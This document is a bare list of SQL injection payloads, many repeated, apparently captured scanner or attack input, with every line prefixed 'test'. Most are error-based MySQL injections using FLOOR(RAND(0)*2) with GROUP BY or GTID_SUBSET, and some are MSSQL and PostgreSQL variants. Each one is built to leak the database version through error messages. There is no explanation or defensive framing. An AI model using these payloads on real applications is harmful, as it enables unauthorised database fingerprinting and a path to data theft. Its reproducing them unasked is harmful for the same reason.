test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

